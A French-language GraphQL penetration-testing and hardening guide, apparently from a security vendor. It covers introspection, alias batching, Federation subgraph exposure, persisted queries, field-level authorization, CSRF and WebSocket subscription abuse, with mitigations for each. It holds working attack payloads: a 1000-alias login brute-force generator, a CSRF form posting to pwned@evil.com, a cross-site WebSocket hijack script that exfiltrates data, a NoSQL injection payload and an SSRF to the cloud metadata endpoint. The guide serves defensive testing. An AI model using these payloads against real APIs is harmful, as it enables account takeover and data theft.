TL;DR
La flexibilité de GraphQL crée une surface d'attaque fondamentalement différente de REST. Les cinq expositions exploitables les plus importantes en 2026 sont : (1) l'introspection activée en production exposant le schéma complet ; (2) l'abus de batching et d'alias contournant les rate limits pour le credential stuffing et le brute force OTP ; (3) les lacunes d'autorisation au niveau des champs permettant l'alias smuggling pour accéder à des données restreintes ; (4) les sous-graphes Apollo Federation exposés directement, contournant tous les contrôles de sécurité du routeur ; et (5) les implémentations de requêtes persistées qui confondent APQ (une fonctionnalité de performance) avec un véritable safelisting de requêtes.
GraphQL et REST exposent des surfaces d'attaque fondamentalement différentes. Comprendre le delta est le point de départ de tout engagement de pentest.
| Dimension | REST | GraphQL |
|---|---|---|
| Découverte du schéma | Spec OpenAPI (souvent absente) | Schéma complet via introspection |
| Énumération des ressources | N endpoints | Endpoint unique, N types |
| Batching | Plusieurs requêtes HTTP | Requête unique, 500+ opérations |
| Granularité de l'autorisation | Au niveau de l'endpoint | Au niveau du champ (souvent manquante) |
| Cible du rate limiting | Nombre de requêtes HTTP | Opérations par requête (souvent illimitées) |
| Exposition des données | Format de réponse fixe | Format défini par le client — sur-récupération by design |
| Surface DoS | Par endpoint | Profondeur de requête imbriquée × nombre de champs |
La différence la plus importante est que GraphQL inverse le problème de documentation. Une API REST peut ne pas avoir de spec OpenAPI, mais une API GraphQL avec l'introspection activée publie un schéma complet et lisible par machine de chaque type, champ, mutation et argument — incluant ceux dépréciés ou non documentés.
Le paysage d'attaque 2026 est façonné par trois tendances : l'adoption généralisée d'Apollo Federation (qui crée des violations de frontières de confiance dans les sous-graphes), la confusion entre APQ et un véritable safelisting de requêtes, et le sous-investissement systématique dans l'autorisation au niveau des champs à mesure que la complexité du schéma croît.
__schemaActiver l'introspection en production équivaut à publier votre modèle de données interne, la surface de logique métier et les mutations admin non documentées. La requête d'introspection standard révèle tout :
{
__schema {
types {
name
kind
fields {
name
type { name kind ofType { name kind } }
args { name type { name } }
isDeprecated
deprecationReason
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}CVE-2024-50312 (CVSS : Medium) démontre l'impact dans le monde réel : la console OpenShift exposait l'introspection GraphQL sans contrôle d'accès, permettant aux utilisateurs non authentifiés d'énumérer le schéma complet de l'API d'administration. Le patch a été inclus dans RHSA-2025:0140.
Désactiver l'introspection n'est pas suffisant. Apollo Server et la plupart des implémentations majeures retournent des messages d'erreur utiles lorsqu'un champ demandé n'existe pas :
Cannot query field "usr" on type "Query". Did you mean "user", "users", or "userByEmail"?C'est la surface d'attaque de Clairvoyance, un outil open source qui soumet systématiquement des noms de champs aléatoires et collecte les suggestions pour reconstruire le schéma complet. La reconstruction est probabiliste mais pratique — les schémas courants (users, orders, products, roles) sont reconstitués en quelques minutes à l'aide d'un fuzzing par wordlist.
Atténuation : désactivez les suggestions de champs via allowedLegacyNames: [] et une règle de validation NoSuggestions personnalisée. Apollo Server 4 n'offre pas de flag natif pour cela — cela nécessite une règle de validation personnalisée :
import { GraphQLError } from "graphql";
const NoSuggestionsRule = (context) => ({
Field(node) {
// Supprimer les suggestions de toutes les erreurs de champs
},
});Les types enum divulguent la logique métier même lorsque l'introspection est désactivée. Si une API retourne Cannot query field "role" with value "superadmin", l'erreur confirme que superadmin est une valeur d'enum valide. Un fuzzing de style Clairvoyance contre les arguments d'enum révèle l'ensemble complet des valeurs en forçant les termes courants sur les champs d'enum connus.
GraphQL Voyager est un outil de visualisation de schéma destiné au développement. Lorsque l'introspection est activée en production, tout utilisateur qui découvre l'endpoint peut le coller dans GraphQL Voyager et recevoir un graphe interactif de tous les types et relations — incluant les mutations admin et les champs de service interne. Vérifiez la présence de /voyager, /graphql/voyager et des consoles GraphiQL intégrées accessibles sans authentification.
GraphQL permet aux clients de traverser les relations d'objets arbitrairement. Sans limites de profondeur, une seule requête peut déclencher des milliers d'opérations en base de données :
{
users {
friends {
friends {
friends {
friends {
friends { id email role }
}
}
}
}
}
}Un incident réel en janvier 2025 a utilisé ce pattern pour provoquer une panne de 3 heures sur une grande plateforme e-commerce. L'attaque a généré des milliers de requêtes en base de données depuis une seule requête HTTP, saturant le pool de connexions à la base de données avant qu'une limite de rate au niveau de l'infrastructure ne soit déclenchée.
Atténuation : appliquez des limites de profondeur au niveau de la couche de validation du schéma en utilisant graphql-depth-limit (Node.js) ou des validateurs compatibles graphene (Python). Le maximum recommandé est de 7 à 10 niveaux selon la complexité du schéma.
Les alias GraphQL permettent à un client d'exécuter le même champ plusieurs fois sous différents noms dans une seule requête. C'est le mécanisme principal pour contourner les rate limits :
mutation {
a1: login(username: "admin", password: "password1")
a2: login(username: "admin", password: "password2")
a3: login(username: "admin", password: "password3")
# ... répéter 997 fois supplémentaires
}CVE-2024-50311 (OpenShift) a été découvert exactement via ce pattern — le batching par alias a provoqué l'épuisement des ressources serveur via une seule requête forgée.
La conclusion critique : un rate limiter comptant les requêtes HTTP à 10 req/s autorise 36 000 opérations par heure. Le même rate limiter avec un batching à 500 alias autorise 18 000 000 opérations par heure avec le même budget de requêtes.
Scénarios d'attaque rendus possibles par le batching d'alias :
mutation resetAll {
r0000: initiateReset(email: "user0000@target.com")
r0001: initiateReset(email: "user0001@target.com")
r0002: initiateReset(email: "user0002@target.com")
}Au-delà des alias, de nombreux serveurs GraphQL supportent le batching JSON par tableau — soumettre plusieurs opérations indépendantes dans un seul corps de requête HTTP :
[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "mutation { login(username: \"admin\", password: \"pass\") }"}
]Contrairement au batching par alias, le batching par tableau peut mélanger requêtes et mutations. Le serveur les traite par lot, retournant un tableau de résultats. Désactivez entièrement le batching par tableau à moins qu'il ne soit une fonctionnalité documentée et surveillée.
GraphQL Armor fournit une défense en profondeur contre les deux vecteurs : limitation du nombre d'alias (max-aliases), limitation de profondeur (max-depth) et analyse de coût (cost-limit). Pour Apollo Router, le plugin natif demand_control avec la configuration max_cost est le mécanisme privilégié.
# apollo-router.yaml
demand_control:
enabled: true
mode: enforce
strategy:
static_estimated:
max: 1000
default_list_size: 10
default_scalar_cost: 1Apollo Federation v2 distribue un schéma GraphQL entre plusieurs services sous-graphes composés par un routeur central. Le modèle de confiance a un invariant critique unique : les sous-graphes doivent être accessibles uniquement via le routeur.
Lorsque les sous-graphes sont accessibles directement — via une NetworkPolicy Kubernetes mal configurée, un port interne exposé, ou une mauvaise configuration d'équilibreur de charge — tous les contrôles de sécurité au niveau du routeur sont contournés :
Les sous-graphes exposent également les champs de coordination de fédération même lorsque l'introspection du routeur est désactivée :
# Requête directe au sous-graphe — contourne l'auth du routeur
{
_service {
sdl # Retourne la définition complète du schéma du sous-graphe
}
}Le champ _entities est tout aussi révélateur :
{
_entities(representations: [{ __typename: "User", id: "1" }]) {
... on User { id email role internalScore }
}
}Méthodologie de test : depuis une position réseau externe, sondez les ports de service interne (4001, 4002, 4003 sont des ports par défaut courants pour les sous-graphes). Si accessible, exécutez { _service { sdl } } pour extraire le schéma complet du sous-graphe.
@inaccessibleLa directive @inaccessible d'Apollo Federation marque les champs qui ne devraient pas être exposés dans le supergraphe composé. Cependant, il s'agit d'une annotation au moment de la composition — le champ existe toujours et est toujours résolvable au niveau du sous-graphe. L'accès direct au sous-graphe retourne les champs @inaccessible sans restriction.
# Dans le schéma du sous-graphe
type User @key(fields: "id") {
id: ID!
email: String!
internalRiskScore: Float @inaccessible # Caché du supergraphe
stripeCustomerId: String @inaccessible # Caché du supergraphe
}Les deux champs sont directement interrogeables sur le sous-graphe. @inaccessible n'offre aucune sécurité pour l'accès direct aux sous-graphes — c'est une directive de composition de schéma, pas un contrôle d'autorisation.
Apollo Router transfère les en-têtes de requête vers les sous-graphes selon sa configuration. Des règles de propagation headers mal configurées peuvent transférer des en-têtes sensibles (Authorization, X-Internal-Service-Key) à tous les sous-graphes, créant des vulnérabilités de confused deputy où un sous-graphe reçoit des credentials destinés à un autre.
# Dangereux : transfert de tous les en-têtes à tous les sous-graphes
headers:
all:
request:
- propagate:
matching: ".*" # Transfère Authorization, cookies, en-têtes internesLimitez le forwarding d'en-têtes à des sous-graphes et des noms d'en-têtes spécifiques.
Les Automatic Persisted Queries (APQ) mettent en cache les chaînes de requête par hash SHA-256 pour réduire la surcharge réseau. Le client envoie le hash ; si le serveur ne l'a pas vu, il répond par PERSISTED_QUERY_NOT_FOUND et le client réessaie avec la requête complète. Le serveur met ensuite la requête en cache pour une utilisation future.
Cela signifie que toute requête peut être enregistrée via APQ — y compris les requêtes d'introspection, les requêtes profondément imbriquées et les attaques par alias. L'APQ est une optimisation de performance sans propriétés de sécurité.
La documentation d'Apollo elle-même est explicite : « Les Automatic Persisted Queries ne fournissent aucune fonctionnalité de sécurité. Si vous voulez éviter l'exécution d'opérations GraphQL arbitraires, vous devriez utiliser les Persisted Operations à la place. »
Une Persisted Query List (PQL) est une liste d'autorisation côté serveur d'opérations pré-enregistrées générées depuis les clients first-party au moment du build. Le routeur rejette toute opération absente de la liste.
L'attaque de contournement : la plupart des implémentations PQL valident le hash de la requête mais pas la sémantique complète de l'opération. Un pentester capable d'enregistrer une nouvelle opération (en trouvant un endpoint de staging ou de développement avec APQ activé) peut parfois empoisonner la PQL de production si les deux environnements partagent le même backend de stockage.
Liste de vérification pour les requêtes persistées :
PERSISTED_QUERY_NOT_FOUND ou équivalentextensions.persistedQuery.sha256Hash accepte des hashes arbitraires ou uniquement des hashes enregistrés__typename pour faire passer des champs restreints dans la forme d'une opération enregistréeLe BFLA en GraphQL se manifeste par un accès aux mutations sans validation de rôle :
# L'attaquant est authentifié en tant qu'utilisateur standard, appelle une mutation admin
mutation {
deleteUser(id: "42") { success }
updateUserRole(userId: "99", role: "ADMIN") { user { id role } }
exportAllUserData { downloadUrl }
}Environ 54 % des vulnérabilités GraphQL connues sont liées à un contrôle d'accès défaillant, selon les recherches en sécurité sur les rapports de bugs publics. La cause principale : GraphQL ne dispose d'aucune couche d'autorisation intégrée. Chaque resolver doit implémenter ses propres vérifications d'accès. À mesure que les schémas grandissent, les lacunes de couverture sont inévitables sans revue systématique.
Tests : pour chaque mutation découverte via l'introspection, tentez son exécution depuis un compte moins privilégié. Documentez la signature de la mutation et testez-la pour chaque niveau de rôle (non authentifié, utilisateur standard, analyste, admin).
L'alias smuggling exploite les lacunes d'autorisation au niveau des champs. L'équipe de recherche Detectify a documenté ce pattern dans un bug réel de New Relic où un utilisateur restreint pouvait accéder aux champs licenseKey réservés aux administrateurs :
# Requête normale de l'utilisateur restreint
{
currentAccount {
name
capabilities { name }
}
}
# Contrebande : licenseKey ajouté — retourné sans vérification d'autorisation
{
currentAccount {
name
licenseKey # Le champ nécessite un rôle admin — non vérifié au niveau du resolver
capabilities { name }
}
}La cause racine est une autorisation appliquée au nom de l'opération ou au niveau de la racine de la requête mais pas dans les resolvers individuels. L'autorisation au niveau des champs doit être appliquée dans chaque resolver, pas seulement à la racine de la requête.
Un constat HackerOne réel : Snapchat bug #1819832 — la mutation deleteStorySnaps manquait de vérification de propriété, permettant à tout utilisateur authentifié de supprimer les story snaps d'un autre utilisateur. Bounty : 15 000 $.
Les arguments GraphQL exposent fréquemment des clés primaires directement :
{
order(id: 1337) { id total items { productId quantity } customerId }
invoice(id: 8821) { pdfUrl amount dueDate }
}Les IDs entiers séquentiels permettent une énumération complète avec un nombre minimal de requêtes. Un seul lot de 500 requêtes avec alias couvre 500 IDs de ressources en une seule requête HTTP. Contrairement à REST où chaque ressource nécessite une requête séparée (et déclenche donc les rate limits), le batching GraphQL rend l'énumération horizontale considérablement plus rapide.
Consultez la référence sur les vulnérabilités IDOR pour la taxonomie d'attaque complète.
Les mutations GraphQL acceptent des types d'entrée complexes. Si la définition du type d'entrée est plus large que la surface d'écriture prévue, l'assignation de masse s'ensuit :
# Mutation prévue
mutation CreateUser($input: CreateUserInput!) {
createUser(input: $input) { id email }
}
# Définition du type d'entrée — trop permissive
input CreateUserInput {
email: String!
password: String!
role: String # Ne devrait pas être modifiable par le client
isVerified: Boolean # Ne devrait pas être modifiable par le client
credits: Int # Ne devrait pas être modifiable par le client
stripeCustomerId: String # Champ interne, exposé dans le schéma
}
# Attaque : fournir des champs privilégiés
{
"input": {
"email": "attacker@evil.com",
"password": "secure123",
"role": "ADMIN",
"isVerified": true,
"credits": 99999
}
}La mitigation consiste en une conception stricte des types d'entrée : séparez CreateUserInput (public) de AdminCreateUserInput (interne) et n'exposez jamais les champs privilégiés dans les types d'entrée accessibles publiquement. Consultez la référence sur l'assignation de masse pour les patterns complets.
Le CSRF GraphQL est possible chaque fois que le serveur accepte des mutations via des requêtes GET ou via des types de contenu non JSON, car les navigateurs peuvent initier ces requêtes cross-origin sans preflight.
Certaines implémentations (dont les anciennes versions d'express-graphql) acceptent des mutations passées en paramètres de requête URL :
GET /graphql?query=mutation{deleteAccount(id:"me"){success}}Une balise <img src="https://api.target.com/graphql?query=mutation{...}"> forgée déclenche la mutation pour tout visiteur authentifié.
Lorsqu'un serveur accepte application/x-www-form-urlencoded pour les opérations GraphQL, un formulaire HTML standard déclenche la mutation :
<form action="https://api.target.com/graphql" method="POST">
<input name="query" value="mutation { updateEmail(email: 'pwned@evil.com') { success } }">
</form>
<script>document.forms[0].submit();</script>CVE-2025-68604 (plugin WPGraphQL, versions antérieures à 2.5.4) a documenté exactement cela : une vulnérabilité CSRF dans le plugin WordPress WPGraphQL permettait à un attaquant de déclencher des mutations modifiant l'état — incluant la création de comptes admin et la modification des paramètres du plugin — contre des administrateurs WordPress authentifiés.
Distinctement, CVE-2026-33290 (WPGraphQL < 2.10.0) était une faille d'autorisation au niveau des fonctions (BFLA) dans la mutation updateComment permettant aux utilisateurs peu privilégiés de s'auto-approuver des commentaires — un problème distinct de la faille CSRF ci-dessus.
Des recherches publiées début 2026 ont identifié un pattern de contournement : la validation CSRF appliquée aux requêtes JSON mais pas aux chemins d'analyse multipart/form-data. Si un serveur GraphQL supporte les uploads multipart (courant pour les mutations d'upload de fichiers) et n'applique pas la validation CSRF au chemin de code multipart, la protection est contournée via une mutation encodée en multipart.
Apollo Router atténue entièrement cette classe en rejetant tous les types de contenu non JSON par défaut. Les implémentations FastAPI et Express personnalisées manquent fréquemment de cette protection.
Consultez la référence sur les vulnérabilités CSRF pour la taxonomie complète des attaques cross-site request forgery.
Le schéma GraphQL est un contrat précis de ce que le serveur accepte. Lorsque ce contrat inclut des champs privilégiés, le schéma lui-même devient la documentation d'attaque.
Approche systématique du pentester :
input via l'introspection# Test : le serveur accepte-t-il et applique-t-il le champ role ?
mutation {
updateProfile(input: {
displayName: "Test User"
role: "admin" # Privilégié — devrait être rejeté
emailVerified: true # Privilégié — devrait être rejeté
internalScore: 9999 # Interne — ne devrait pas exister dans le type d'entrée
}) {
id displayName role emailVerified
}
}Les subscriptions GraphQL opèrent sur des connexions WebSocket persistantes, créant une surface de sécurité distincte des endpoints de requête et de mutation.
sequenceDiagram
participant Client
participant WS as Serveur WebSocket
participant Auth as Service Auth
participant DB as Base de données
Client->>WS: WS Upgrade (sans token)
WS->>Client: 101 Switching Protocols
Client->>WS: connection_init { payload: {} }
WS->>Client: connection_ack
Client->>WS: subscribe { query: "subscription { allOrders { id total } }" }
WS->>Auth: Valider token (absent)
Auth->>WS: Pas de token && pas d'erreur si vérification auth absente
WS->>DB: S'abonner à toutes les commandes
DB->>WS: Flux de TOUTES les commandes (fuite entre utilisateurs)
WS->>Client: données de commandes de tous les utilisateursLe protocole graphql-ws envoie les credentials d'authentification dans le payload du message connection_init, pas dans les en-têtes HTTP lors de la mise à niveau WebSocket. De nombreuses implémentations valident l'authentification uniquement sur la requête de mise à niveau HTTP (où les en-têtes sont présents) et non sur le message connection_init. Cela crée une fenêtre où un WebSocket non authentifié peut tenter des opérations de subscription avant que le payload d'auth ne soit traité.
Test : initiez une connexion WebSocket, envoyez subscribe immédiatement sans envoyer connection_init. Les serveurs conformes devraient rejeter la subscription. Les serveurs non conformes peuvent commencer à diffuser des données.
Contrairement aux requêtes HTTP où chaque requête porte un token frais, une connexion WebSocket persiste. Deux scénarios critiques de dérive :
Un rapport HackerOne Shopify a documenté ce pattern : les permissions utilisateur révoquées n'étaient pas immédiatement appliquées aux subscriptions actives, créant une brève fenêtre d'accès non autorisé aux données.
CVE-2023-38503 (Directus) : des utilisateurs non autorisés recevaient des mises à jour de subscription en temps réel destinées à des utilisateurs plus privilégiés en raison de l'absence de vérifications d'autorisation par événement.
CVE-2024-54147 (client Altair GraphQL) : le client ne validait pas les certificats HTTPS sur les connexions WebSocket, permettant des attaques MITM contre les subscriptions actives.
Si la mise à niveau WebSocket ne valide pas l'en-tête Origin, la page d'un attaquant peut initier une connexion de subscription en utilisant les cookies de session de la victime :
// Page de l'attaquant — le navigateur de la victime effectue cette requête
const ws = new WebSocket("wss://api.target.com/graphql");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "connection_init",
payload: {} // Les cookies de la victime sont envoyés automatiquement
}));
ws.send(JSON.stringify({
type: "subscribe",
id: "1",
payload: { query: "subscription { notifications { content recipientId } }" }
}));
};
ws.onmessage = (e) => exfiltrate(e.data);Atténuation : validez Origin lors de la mise à niveau WebSocket. Rejetez les connexions depuis des origins non reconnus. Utilisez exclusivement wss://. Appliquez SameSite=Strict aux cookies de session.
Consultez la référence sécurité JWT et les patterns d'injection SQL pour les vecteurs d'injection adjacents dans les implémentations de resolvers.
Les endpoints GraphQL ne suivent pas une convention d'URL unique. Vérifiez tous les chemins courants :
/graphql, /api/graphql, /v1/graphql, /v2/graphql/query, /gql, /graphiql, /graphql/console/api/v1/query, /graphql/v1/v1/graphql, /v2/graphql/graphqlPour les applications mobiles, extrayez les endpoints depuis le binaire APK ou IPA en utilisant strings, apktool ou jadx. Les endpoints GraphQL dans les applications mobiles sont souvent des chaînes codées en dur et apparaissent dans la source après décompilation. Recherchez /graphql, Apollo ou application/json combiné avec des patterns d'opérations.
Découverte passive via Shodan : http.title:"GraphQL Playground" retourne des consoles de développement exposées. http.title:"GraphiQL" capture un ensemble plus large.
Avec l'introspection activée, extrayez le schéma complet :
{
__schema {
types { name kind description fields { name type { name kind } isDeprecated } }
queryType { name }
mutationType { name }
subscriptionType { name }
}
}Importez le résultat dans InQL (extension Burp Suite) pour générer une liste structurée de toutes les requêtes, mutations et leurs signatures d'arguments.
Avec l'introspection désactivée, exécutez Clairvoyance :
python3 -m clairvoyance https://api.target.com/graphql \
--wordlist common.txt \
--output schema.json
# Puis importez dans InQL ou VoyagerPour chaque mutation découverte et requête sensible :
# Étape 1 : authentifié en tant qu'utilisateur peu privilégié
{
currentUser {
id
email
# Ajouter des champs qui devraient nécessiter une élévation
apiKeys { key name createdAt }
billingInfo { cardLast4 stripeId }
internalNotes { content createdBy }
}
}# Générer une attaque de connexion à 1000 alias
aliases = "\n".join(
f' a{i}: login(username: "admin", password: "{pwd}") {{ token }}'
for i, pwd in enumerate(wordlist[:1000])
)
query = f"mutation {{\n{aliases}\n}}"Testez à la fois le batching par alias (même requête HTTP, opérations avec alias) et le batching par tableau (tableau JSON d'objets d'opérations).
Les resolvers GraphQL interfacent fréquemment avec des bases de données SQL, des stores NoSQL et des moteurs de templates. Les vecteurs d'injection standard s'appliquent :
# Injection NoSQL dans un resolver MongoDB
{
user(email: "{\"$ne\": null}") { id email role }
}
# SSRF via un resolver acceptant des URL
{
fetchExternalData(url: "http://169.254.169.254/latest/meta-data/") { content }
}Consultez la référence sur les vulnérabilités SSRF et les patterns d'injection NoSQL pour les payloads d'injection au niveau des resolvers.
Le pipeline automatisé de BreachVex teste les endpoints GraphQL comme une surface d'attaque de premier plan dans chaque scan.
La phase de cartographie énumère les chemins GraphQL courants sur le domaine cible et la surface des sous-domaines. Lorsqu'un endpoint GraphQL est détecté, l'agent navigateur tente l'introspection. En cas d'échec (introspection désactivée), il exécute un fuzzing de suggestions de style Clairvoyance en utilisant une wordlist de 8 000 termes couvrant les patterns de schéma GraphQL courants dans les APIs e-commerce, SaaS, fintech et santé.
La squad auth_session teste l'autorisation au niveau des champs en ajoutant systématiquement des champs du schéma extrait aux requêtes autorisées et en observant les différences de réponse. Tout champ retourné pour un rôle moins privilégié qui est documenté comme nécessitant un privilège plus élevé est signalé comme une découverte BFLA.
Pour les opérations sensibles (connexion, réinitialisation de mot de passe, vérification OTP, changement d'e-mail), le pipeline génère des variantes avec alias par lots et les soumet pour mesurer :
Chaque vulnérabilité de batching confirmée inclut une paire requête/réponse HTTP capturée montrant l'attaque multi-opérations comme preuve d'exploitation.
Le pipeline teste les endpoints GraphQL pour l'acceptation de mutations GET et la gestion des types de contenu non JSON. Pour les cibles d'applications web avec un contexte de navigateur Playwright, il tente un CSRF basé sur des formulaires contre les endpoints de mutation et capture l'interaction HTTP comme preuve d'exploitation navigateur.
Les découvertes sont mappées aux catégories de l'OWASP API Security Top 10 :
Chaque découverte inclut un scoring CVSS v3.1, une requête de reproduction avec le payload GraphQL exact, et des recommandations de remédiation adaptées au framework détecté (Apollo, Hasura, Yoga, Strawberry, Ariadne).
| Contrôle | Outil / Configuration | Priorité |
|---|---|---|
| Désactiver l'introspection en production | Apollo Server : introspection: false | Critique |
| Désactiver les suggestions de champs | Règle de validation NoSuggestions personnalisée | Critique |
| Limitation de profondeur | graphql-depth-limit, max 7–10 | Critique |
| Limite du nombre d'alias | GraphQL Armor max-aliases: 5 | Critique |
| Analyse de coût | Apollo Router demand_control | Élevée |
| Désactiver le batching par tableau | Configuration serveur | Élevée |
| CSRF : appliquer le type de contenu JSON uniquement | Plugin CSRF Apollo Router | Élevée |
| Safelisting de requêtes persistées (PQL) | Apollo GraphOS PQL | Élevée |
| Isolation réseau des sous-graphes | Kubernetes NetworkPolicy | Critique |
| Validation Origin WebSocket | Middleware serveur | Élevée |
| Autorisation au niveau des champs dans les resolvers | Shield, Pothos, middleware personnalisé | Critique |
| Rate limiting par opération (pas par requête HTTP) | Compteurs de resolvers Redis | Élevée |
La puissance de GraphQL vient de sa flexibilité — et c'est précisément cette flexibilité qui rend sa sécurisation à grande échelle si difficile. Le passage de REST élimine les frontières d'autorisation naturelles que fournissent les architectures de type endpoint-par-ressource. Chaque resolver est désormais un point de décision d'autorisation indépendant. À mesure que les schémas passent de quelques dizaines à des centaines de types, maintenir une couverture cohérente de l'autorisation au niveau des champs sans outillage systématique devient la principale source de lacunes exploitables.
Les attaques qui réussissent en 2026 ne sont pas nouvelles — ce sont les mêmes patterns de contournement d'autorisation, d'assignation de masse et de DoS appliqués via les mécanismes de batching et d'aliasing uniques à GraphQL. Les défenseurs qui réussissent sont ceux qui traitent l'autorisation comme une préoccupation transversale au schéma, appliquée au niveau de la couche resolver, et non comme une réflexion tardive au niveau de la racine de l'opération.